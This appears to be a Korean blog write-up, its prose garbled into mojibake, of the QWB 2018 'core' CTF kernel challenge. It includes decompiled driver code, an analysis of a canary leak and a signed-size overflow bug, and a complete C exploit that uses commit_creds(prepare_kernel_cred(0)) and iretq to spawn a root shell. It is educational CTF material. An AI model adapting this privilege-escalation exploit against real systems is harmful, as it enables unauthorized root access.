์ทจ์ฝ์ ๋ ๊น๋ํ๊ณ ์ต์ค์ฝ๋๋ก ์ง๋๊ฒ๋ ๊น๋ํ๊ณ ๋๋ฆ ์ปค๋ ์ต์ค ๊ธฐ๋ณธ ์ตํ๊ธฐ ์ข์ ๋ฌธ์ ๊ฐ์์ ์ถ์ฒํฉ๋๋ค. ๐
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core
์ฃผ์ด์ง ํ์ผ์ bzImage, core.cpio, start.sh, vmlinux์ด๋ค.
$ binwalk bzImage
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
15990 0x3E76 gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
$ binwalk core.cpio
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 gzip compressed data, maximum compression, from Unix, last modified: 2018-10-05 14:08:36
$ mv core.cpio core.cpio.gz
$ gzip -d core.cpio.gz
$ ls
core.cpio
$ binwalk core.cpio
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ASCII cpio archive (SVR4 with no CRC), file name: ".", file name length: "0x00000002", file size: "0x00000000"
112 0x70 ASCII cpio archive (SVR4 with no CRC), file name: "usr", file name length: "0x00000004", file size: "0x00000000"
228 0xE4 ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin", file name length: "0x00000009", file size: "0x00000000"
348 0x15C ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/popmaildir", file name length: "0x00000014", file size: "0x00000011"
500 0x1F4 ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/chroot", file name length: "0x00000010", file size: "0x00000011"
648 0x288 ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/crond"
[...]
$ cpio -idv < core.cpio
.
usr
usr/sbin
usr/sbin/popmaildir
usr/sbin/chroot
usr/sbin/crond
usr/sbin/loadfont
usr/sbin/i2cdump
usr/sbin/rdev
usr/sbin/ntpd
usr/sbin/readahead
usr/sbin/deluser
usr/sbin/adduser
usr/sbin/lpd
usr/sbin/nbd-client
usr/sbin/ubirmvol
usr/sbin/ubidetach
usr/sbin/fdformat
[...]
$ ls
bin core.ko gen_cpio.sh lib linuxrc root sys usr
core.cpio etc init lib64 proc sbin tmp vmlinux
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
์ทจ์ฝํ kernel module๋ก, ๋์ปดํ์ผ๋ฌ๋ก ๋ถ์ํ๋ค.
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 3000 -f & # change timeout 120 to 3000
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
ํ์ผ์์คํ
์์ถํด์ฃผ๋ ์ ์คํฌ๋ฆฝํธ์ด๋ค.
์ต์ค์ฝ๋๋ฅผ ํ์ผ์์คํ
์ ๋ฃ๊ณ ํ์ผ์์คํ
์์ถํด์ ๋ณ๊ฒฝ๋ ํ์ผ์์คํ
๊ฒฝ๋ก๋ฅผ start.sh์ ์ค์ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ค.
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}
__int64 core_release()
{
printk(&unk_204);
return 0LL;
}
__int64 exit_core()
{
__int64 result; // rax
if ( core_proc )
result = remove_proc_entry("core"); // core created: /proc/core entry
return result;
}
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // rbx
v3 = a3;
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD); // core: %d (a3)
off = v3;
break;
case 0x6677889A:
printk(&unk_2B3); // core: called core |copy
core_copy_func(v3);
break;
}
return 0LL;
}
unsigned __int64 __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-50h]
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v1 = a1;
v6 = __readgsqword(0x28u); // canary
printk(&unk_25B); // core: called core |read
printk(&unk_275); // %d %p
v2 = &v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 = (__int64 *)((char *)v2 + 4);
}
strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v1, (char *)&v5 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
core_read()์ ๋งค๊ฐ๋ณ์ a1์ ioctl()์์ ๋๊ธด ๊ฐ์ด๋ค.
v1์ a1 ๊ฐ์ ์ ์ฅํ๊ณ , v6์๋ canary๋ฅผ ์ ์ฅํ๋ค. (v6๊ฐ rbp-0x10์ ์์นํ๋ฏ๋ก canary์)
์ดํ printk๋ก core: called core|read์ %d %p๋ฅผ ๋ก๊น
ํ๋ค.
v5๋ rbp-0x50์ ์์นํ๋ฏ๋ก, canary 0x8, SFP 0x8 ์ ์ธํ๋ฉด ํฌ๊ธฐ๊ฐ 0x40์ด๋ค.
strcpy๋ก v5์ ๋ฌธ์์ด์ ๋ฃ๊ณ , v5(kernel stack)+off ์์น๋ถํฐ 0x40 ๋ฐ์ดํธ๋งํผ v1(user input)์ ๋ณต์ฌํ๋ค.
core_ioctl์ ๋ ๋ฒ์งธ ์ผ์ด์ค์์ off ๊ฐ์ ioctl์ ์ธ ๋ฒ์งธ ์ธ์๋ก ์ค์ ํ ์ ์๋ค.
v5๋ rbp-0x50์ ์์นํ๋๋ฐ, v5+0x40์ ์ฃผ๋ฉด v5+0x40 ์์น์ canary ๊ฐ๋ถํฐ 0x40 ๋ฐ์ดํธ๋ฅผ v1์ ์ ์ฅํ ์ ์๋ค.
์ฆ, canary leak์ด ๊ฐ๋ฅํ๋ค.
canary๊ฐ ์ค์ ๋ ๊ฒฝ์ฐ overflow ์ทจ์ฝ์ ์ด์ฉํด์ return address ๋ฎ๋๊ฑธ ๋ฐฉ์งํ๊ธฐ ์ํด์ canary๊ฐ ๋ณ์กฐ๋ ๊ฒฝ์ฐ stack smashing ์ค๋ฅ ๋ฉ์์ง๊ฐ ๋ฌ๋ค. ๊ทผ๋ฐ canary leakํด์ ์ ํํ canary ์์น์ ๋ฃ์ด์ฃผ๋ฉด ๋ฌธ์ ์์ด ์ต์คํ๋ก์์ด ๊ฐ๋ฅํ๋ค.
---
RET (0x8) - return address
---
SFP (0x8) - stack frame pointer
---
v6 (0x8) - canary
---
v5 (0x40) - local variable
---
์ฌ๊ธฐ์ ์ ์ ์๋ ์ปค๋ ์คํ ๊ตฌ์กฐ๋ ์์ ๊ฐ๋ค.
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx
v3 = a3;
printk(&unk_215);
if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
return (unsigned int)v3;
printk(&unk_230); // core: error copying data from userspace
return 4294967282LL;
}
v3(input ๊ฐ)์ด 0x800 ์ดํ์ด๋ฉด copy_from_user๋ก name(์ ์ญ๋ณ์)์ a2(user input)๋ฅผ v3(user input)๋งํผ ๋ณต์ฌํ ์ ์๋ค.
ํฌ๊ธฐ๊ฐ ๋๋ํด์ ์ต์คํ๋ก์ ์ ์ฌ์ฉํ payload๋ฅผ ๋ฃ์ด์ฃผ๊ธฐ ์ข์ ๊ฒ ๊ฐ๋ค.
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
signed __int64 result; // rax
__int64 v2; // [rsp+0h] [rbp-50h]
unsigned __int64 v3; // [rsp+40h] [rbp-10h]
v3 = __readgsqword(0x28u);
printk(&unk_215); // core: called core|writen
if ( a1 > 63 )
{
printk(&unk_2A1); // Detected Overflow
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1);
}
return result;
}
a1(user input)๊ณผ 63์ ๋น๊ตํด์ buffer overflow ์ฌ๋ถ๋ฅผ ์ฒดํฌํ๋ค.
ํ์ง๋ง a2์ signed __int64 ํ์
์ด๋ค. 64bit ํ๋ซํผ์์๋ ์กฐ๊ฑด๋ฌธ์์ ๋น๊ต ์ unsigned๊ฐ ์๋ signed ํ์
์ผ๋ก ๋น๊ตํด์ ์ด ์กฐ๊ฑด๋ฌธ์ a1์ ์์๋ฅผ ์ฃผ๋ ๊ฒ์ผ๋ก ์ฐํํ ์ ์๋ค.
qmemcpy() ์์๋ unsigned __int16 ํ์
์ผ๋ก type casting์ด ๋์ด ๋ง์ฝ a1 = -1์ด๋ฉด a1=0xFFFFFFFFFFFFFFFF๊ฐ ๋๋ค.
v2(kernel local ๋ณ์)๋ rbp-0x50์ ์์นํด์ ํฌ๊ธฐ๊ฐ 0x40์ผ๋ก, v5์ name(user input)์ a1๋งํผ ๋ณต์ฌ ์ buffer overflow ์ทจ์ฝ์ ์ด ๋ฐ์ํ๊ฒ ๋๋ค.
#include <stdio.h>
#include <sys/ioctl.h> // ioctl()
#include <string.h> // memcpy()
#include <fcntl.h> // O_RDWR
#include <stdint.h> // uint64_t
#include <unistd.h> // open()
#include <stdlib.h> // exit()
int main(){
char buf[0x100];
char canary[8];
char rop[0x100]={0,};
// init_module()
int fd = open("/proc/core", O_RDWR);
if(fd < 0){
fprintf(stderr, "[-] File open error\n");
exit(-1);
}
printf("[+] File opened\n");
// off(global) value setting
ioctl(fd, 0x6677889C, 0x40);
// core_read() - save canary
ioctl(fd, 0x6677889B, buf);
printf("[+] canary: ");
// copy 8byte canary
memcpy(canary, buf, 8);
for(int i=7; i>=0; i--)
printf("%02x", canary[i] & 0xFF);
printf("\n");
// exit_core()
close(fd);
return 0;
}
off๋ฅผ canary ์์น์ธ 0x40์ผ๋ก ์ค์, canary๋ฅผ user ๋ณ์์ ์ ์ฅํด์ ๊ตฌํ๊ฑธ ํ์ธํ ์ ์๋ค.
unsigned long get_symbol(const char* name)
{
FILE *fd;
char buf[0x100];
char addr[32];
fd = fopen("/tmp/kallsyms","r");
if(fd < 0)
{
printf("[-] Failed to open /tmp/kallsyms\n");
exit(-1);
}
memset(buf, 0,sizeof(buf));
while(fgets(buf,0x100,fd) != NULL)
{
char *p = buf;
char *a = addr;
if(strlen(buf) == 0)
continue;
memset(addr,0,sizeof(addr));
buf[strlen(buf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,name))
return strtoul(addr, NULL, 16);
}
return 0;
}
์ด์ commit_creds, prepare_kernel_cred์ ์ฌ๋ณผ์ ๊ตฌํด๋ณด์.
/tmp/kallsyms ํ์ผ์ ์ ์ฅ๋ ์ฃผ์๋ฅผ ๊ตฌํด์ค๋ค.
// exploit payload setting
memset(rop, 0x41, 0x40); // 'A'*0x40
memcpy(rop+0x40, canary, 8);
memset(rop+0x48, 0x42, 8); // SFP
*(void**)(rop+0x50) = &exploit; // set return address to exploit addr
name์ ๋ฃ์ ํ์ด๋ก๋์ด๋ค.
name์ ๋ฃ์ผ๋ฉด core_copy_func()์์์ BOF ์ทจ์ฝ์ ์ผ๋ก return address๋ฅผ ์ํ๋ ๊ฐ์ผ๋ก ๋ฎ์ด์ ์คํ ํ๋ฆ์ ๋ฐ๊ฟ ์ ์๋ค.
struct trap_frame
{
void *rip;
uint64_t cs; // code segment
uint64_t rflags; // CPU flags
void *rsp; // stack pointer
uint64_t ss; // stack segment
}__attribute__((packed));
struct trap_frame tf;
์ปค๋ ๋ชจ๋์์ ์ ์ ๋ชจ๋๋ก ๋์์ฌ ๋ ๋ณต์ํด์ค ๋ ์ง์คํฐ ๊ฐ๋ค์ ์ ์ฅํ๋ ๊ตฌ์กฐ์ฒด๋ฅผ ๋ง๋ ๋ค.
rip, cs, rflags, rsp, ss๊ฐ ์๊ณ , ์ ์ญ๋ณ์ tf ๊ตฌ์กฐ์ฒด ๋ณ์๋ฅผ ๋ง๋ค์ด์คฌ๋ค.
// save user trap frame
void save_trapframe(){
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.rip = &get_shell;
printf("[+] trap frame backuped\n");
}
์ค์ง์ ์ผ๋ก ์ ์ trap frame ์ ๋ณด๋ฅผ ๋ฐฑ์
ํด์ฃผ๋ ์ฝ๋์ด๋ค.
๊ทธ๋ฆฌ๊ณ rip์๋ get_shell ์ฃผ์๋ฅผ ์ฃผ๋๋ฐ, kernel ๋ชจ๋์์ root ๊ถํ ์ป๊ณ ์ ์ ๋ชจ๋๋ก ๋์์ฌ ๋ trap_frame์ ์ ์ฅ๋ ๋ ์ง์คํฐ ๊ฐ๋ค์ ๋ณต์ํ๊ณ , rip๋ get_shell ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํด์ system("/bin/sh")๋ก ์์ ์คํํด์ฃผ๋ ํจ์๋ก ์คํ ํ๋ฆ์ ๋ฐ๊พธ๊ธฐ ์ํด์์ด๋ค.
core_copy_func()์ return address ๋ฎ๊ธฐ ์ ์ด ํจ์๋ฅผ ํธ์ถํด์ค๋ค.
// save user register info
save_trapframe();
// copy payload data to name(global)
write(fd, rop, 0x58);
printf("[+] set name to payload\n");
// core_copy_func() - overwrite core_copy_func return address
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | sizeof(rop));
write()์ ํธ์ถํด์ name ์ ์ญ๋ณ์์ exploit payload๋ฅผ ์ ์ฅํ๋ค.
ioctl๋ก ์์๋ฅผ ์ค์ ์ฌ์ด์ฆ ์ฒดํฌ ์กฐ๊ฑด์ ์ฐํํ๊ณ BOF๋ฅผ ํตํด return address๋ฅผ &exploit์ผ๋ก ๋ฎ๋๋ค.
void exploit(){
commit_creds(prepare_kernel_cred(0)); // set cred struct field to 0
asm("swapgs;"
"mov %%rsp, %0;" // get backuped trap frame
"iretq;" // restruct saved trap frame content by iretq
:: "r"(&tf));
}
exploit()์๋ ์์ ์ฝ๋๋ฅผ ์คํํ๋ค.
์ปค๋๋ชจ๋์์ ์คํํ๊ฒ ๋๋๋ฐ, KASLR ๋ณดํธ๊ธฐ๋ฒ๋ง ์์ด์ ์ปค๋์์ ์ด ํจ์๋ฅผ ์คํ ํ ์ ์๋ค.
prepare_kernel_cred() ์ธ์๋ก 0(NULL) ์ ๋ฌํด์ root์ cred ๊ตฌ์กฐ์ฒด ๋ฐํํ๋ค.
commit_creds() ์ธ์๋ก root์ cred ๊ตฌ์กฐ์ฒด(credential ๊ตฌ์กฐ์ฒด) ์ ๋ฌํ๋ฉด ํ์ฌ task์ ๊ถํ์ด root๋ก ์์นํ๋ค.
์ดํ swapgs; ๋ก ์ปค๋ ๋ชจ๋์์ ์ ์ ๋ชจ๋๋ก ๋์์ค๊ณ , ๋ง๋ค์ด์ค tf ๊ตฌ์กฐ์ฒด๋ฅผ ์ฌ์ฉํด์ ์ ์ ๋ชจ๋์์์ ๋ ์ง์คํฐ ๊ฐ๋ค์ ๋ณต์ํด์ค์ ์ ์ ๋ชจ๋์์ ์คํ์ ์ด์ด๊ฐ๋ค.
// get shell after privilged
void get_shell(){
printf("[+] get shell\n");
system("/bin/sh");
}
์ดํ ๋ ์ง์คํฐ ๊ฐ ๋ณต์ํ๋ฉด์ rip์๋ get_shell ์ฃผ์๋ฅผ ์คฌ์ผ๋ฏ๋ก root ๊ถํ์ ์์ ์ป์ ์ ์๋ค.
#include <stdio.h>
#include <sys/ioctl.h> // ioctl()
#include <string.h> // memcpy()
#include <fcntl.h> // O_RDWR
#include <stdint.h> // uint64_t
#include <unistd.h> // open()
#include <stdlib.h> // exit()
int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);
struct trap_frame
{
void *rip;
uint64_t cs; // code segment
uint64_t rflags; // CPU flags
void *rsp; // stack pointer
uint64_t ss; // stack segment
}__attribute__((packed));
struct trap_frame tf;
unsigned long get_symbol(const char* name)
{
FILE *fd;
char buf[0x100];
char addr[32];
fd = fopen("/tmp/kallsyms","r");
if(fd < 0)
{
printf("[-] Failed to open /tmp/kallsyms\n");
exit(-1);
}
memset(buf, 0,sizeof(buf));
while(fgets(buf,0x100,fd) != NULL)
{
char *p = buf;
char *a = addr;
if(strlen(buf) == 0)
continue;
memset(addr,0,sizeof(addr));
buf[strlen(buf)-1] = '\0';
while(*p != ' ')
*a++ = *p++;
p += 3;
if(!strcmp(p,name))
return strtoul(addr, NULL, 16);
}
return 0;
}
// get shell after privilged
void get_shell(){
printf("[+] get shell\n");
system("/bin/sh");
}
// save stack frame
void save_trapframe(){
asm("mov tf+8, cs;"
"pushf; pop tf+16;"
"mov tf+24, rsp;"
"mov tf+32, ss;"
);
tf.rip = &get_shell;
printf("[+] trap frame backuped\n");
}
void exploit(){
commit_creds(prepare_kernel_cred(0)); // set cred struct field to 0
asm("swapgs;"
"mov %%rsp, %0;" // get backuped trap frame
"iretq;" // restruct saved trap frame content by iretq
::"r"(&tf)
);
}
int main(){
char buf[0x100];
char canary[8];
char rop[0x100];
// init_module()
int fd = open("/proc/core", O_RDWR);
if(fd < 0){
fprintf(stderr, "[-] File open error\n");
exit(-1);
}
printf("[+] File opened\n");
// off(global) value setting
ioctl(fd, 0x6677889C, 0x40);
// core_read() - save canary
ioctl(fd, 0x6677889B, buf);
printf("[+] canary: ");
// copy 8byte canary
memcpy(canary, buf, 8);
for(int i=7; i>=0; i--)
printf("%02x", canary[i] & 0xFF);
printf("\n");
// get kernel symbol of commit_creds, prepare_kernel_cred
commit_creds = get_symbol("commit_creds");
if(commit_creds == 0){
printf("[-] Filed to get commit_creds addr\n");
exit(-1);
}
printf("[+] commit_creds: %p\n", commit_creds);
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
if(prepare_kernel_cred == 0){
printf("[-] Filed to get prepare_kernel_cred addr\n");
exit(-1);
}
printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);
// exploit payload setting
memset(rop, 0x41, 0x40); // 'A'*0x40
memcpy(rop+0x40, canary, 8);
memset(rop+0x48, 0x42, 8); // SFP
*(void**)(rop+0x50) = &exploit; // set return address to exploit addr
// save user register info
save_trapframe();
// copy payload data to name(global)
write(fd, rop, 0x58);
printf("[+] set name to payload\n");
// core_copy_func() - overwrite core_copy_func return address
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | sizeof(rop));
// exit_core()
close(fd);
return 0;
}
[DefCamp CTF 2015 Quals] Entry Language (Reverse 100) (0) | 2022.05.11 |
---|---|
[angr] fauxware (0) | 2022.05.09 |
[0CTF 2018] baby kernel 2(kernel exploit, double fetch, race condition) (0) | 2021.11.11 |
[CISCN CTF 2017] babydriver (kernel exploit, kUAF) (0) | 2021.11.11 |
[BISC CTF 2020] 2048 (0) | 2021.01.02 |